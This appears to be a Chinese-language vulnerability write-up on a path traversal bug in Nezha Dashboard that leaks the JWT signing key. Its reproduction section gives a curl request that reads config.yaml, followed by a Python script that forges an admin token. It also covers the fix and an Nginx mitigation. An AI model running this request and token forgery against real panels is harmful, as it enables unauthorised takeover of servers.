哪吒监控路径穿越漏洞分析：一个 `/dashboard..` 拿下全站 JWT 密钥

联系方式 & 交流群

Nezha Dashboard 的路由前缀校验存在逻辑缺陷：对 /dashboard 的前缀判断没有做路径段边界检查，攻击者用 /dashboard../ 即可逃逸出模板根目录，直达 data/config.yaml 拿到 JWT 签名密钥。拿到密钥后，伪造任意用户 Token、接管面板控制权轻而易举。

漏洞概览

不需要登录，不需要任何前置条件，一个 GET 请求就能把面板的 JWT 密钥读出来。

漏洞原理

问题出在哪

Nezha Dashboard 在处理静态资源时，为了隔离不同模板目录，在路由层做了一个前缀校验——检查请求路径是否以 /dashboard 开头。只允许通过前缀检查的请求进入模板渲染的逻辑。

逻辑本身没问题，但实现上踩了一个经典坑：前缀比对没有做路径段边界检查。

Go 的 strings.HasPrefix 只判断字符前缀，不关心你后面跟的是 /、..、还是别的什么。于是攻击者构造出这样的路径：

/dashboard../data/config.yaml

拆开看：

• /dashboard —— 通过了前缀检查，“合法”
• ../ —— 往上跳一层，跳出模板目录
• data/config.yaml —— 命中 Dashboard 的工作目录，拿到配置文件

每一步都不违反代码的字面逻辑，但组合起来就把目录限制彻底穿透了。

用伪代码理解这个缺陷：

// 原始逻辑（有漏洞）
if strings.HasPrefix(r.URL.Path, "/dashboard") {
 // 渲染模板文件...
 tmpl.Execute(w, filepath.Join(tmplRoot, r.URL.Path))
}

// 实际解析：
// r.URL.Path = "/dashboard../data/config.yaml"
// HasPrefix 返回 true ← 漏洞点
// filepath.Join(tmplRoot, "/dashboard../data/config.yaml")
// → tmplRoot + "../data/config.yaml"
// → 逃逸成功

filepath.Join 会对 .. 做规范化处理，于是路径就从模板目录往上跳了一级，进入了 Dashboard 的工作目录——配置文件、数据库、日志，全在射程范围内。

为什么说这个洞"严重"

大部分路径穿越漏洞能读文件，但读出来的是 HTML、JS、CSS 或者没什么用的系统文件。这个洞读的是 config.yaml，里面躺着什么？

jwt_secret_key: "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"

JWT 签名密钥是整个认证体系的根基。拿到它之后，攻击者可以：

1. 伪造任意用户 Token：用泄露的密钥签名一个管理员身份的 JWT，面板直接认你为 admin
2. 劫持所有 Agent 通信：Agent 与 Dashboard 之间的 gRPC 通信如果也用这套 JWT 做鉴权，伪造 Token 就能下发任意指令
3. 持久化控制：密钥轮换需要重启服务且所有 Agent 重连，运维窗口期往往长达数天，攻击者有充裕的时间

CVSS 9.1 的评分拆解开来看：

• AV:N（网络可达）—— HTTP 端口默认暴露
• AC:L（复杂度低）—— 一个 GET 请求即可
• PR:N（无需认证）—— 匿名访问
• UI:N（无需用户交互）—— 纯自动化
• C:H / I:H（机密性高 / 完整性高）—— 拿到密钥等于拿到一切

复现步骤

假设靶标环境 Nezha Dashboard 监听在 http://target:8008：

# 第一步：未授权读取配置文件
curl -s http://target:8008/dashboard../data/config.yaml

# 正常响应会返回完整的 YAML 配置，其中包含：
# jwt_secret_key: "xxxxxx..."

拿到密钥后，用 Python 快速伪造一个管理员 JWT：

import jwt
import time

secret = "泄露的密钥"

payload = {
 "user_id": 1, # admin 通常是 uid=1
 "username": "admin",
 "role": "admin",
 "iat": int(time.time()),
 "exp": int(time.time()) + 86400 * 7 # 7 天有效期
}

token = jwt.encode(payload, secret, algorithm="HS256")
print(token)

将伪造的 Token 填入浏览器 Cookie 或 Authorization Header，刷新面板页面——你已经是管理员了。

修复方案

升级

直接升级到 Nezha v2.0.13 或更高版本。官方补丁将前缀检查改为了段感知（segment-aware）的路径校验——不再是简单的字符串前缀匹配，而是确保路径被正确规范化后不会逃逸出模板根目录。

临时缓解

如果暂时无法升级，推荐在反向代理层做路径规范化防护。以 Nginx 为例：

location /dashboard {
 # 规范化 URI，折叠 ../ 等目录回溯符
 set $safe_uri $uri;
 if ($uri ~ \.\./) {
 return 403;
 }
 proxy_pass http://nezha_dashboard;
}

但由于 Go 的 filepath.Join 在服务端也会做规范化，仅靠反向代理层的黑名单拦截存在绕过风险，升级仍然是最可靠的修复方式。

小结

这个洞的技术原理并不复杂，就是一个路径段边界检查缺失。但它命中的是整个认证体系的密钥源头，危害被直接放大到了最高级别。

安全攻防有时不需要绕过 WAF、不需要 0day 链，一个边界条件的疏忽就能让整个系统的安全假设崩塌。CVSS 9.1，名副其实。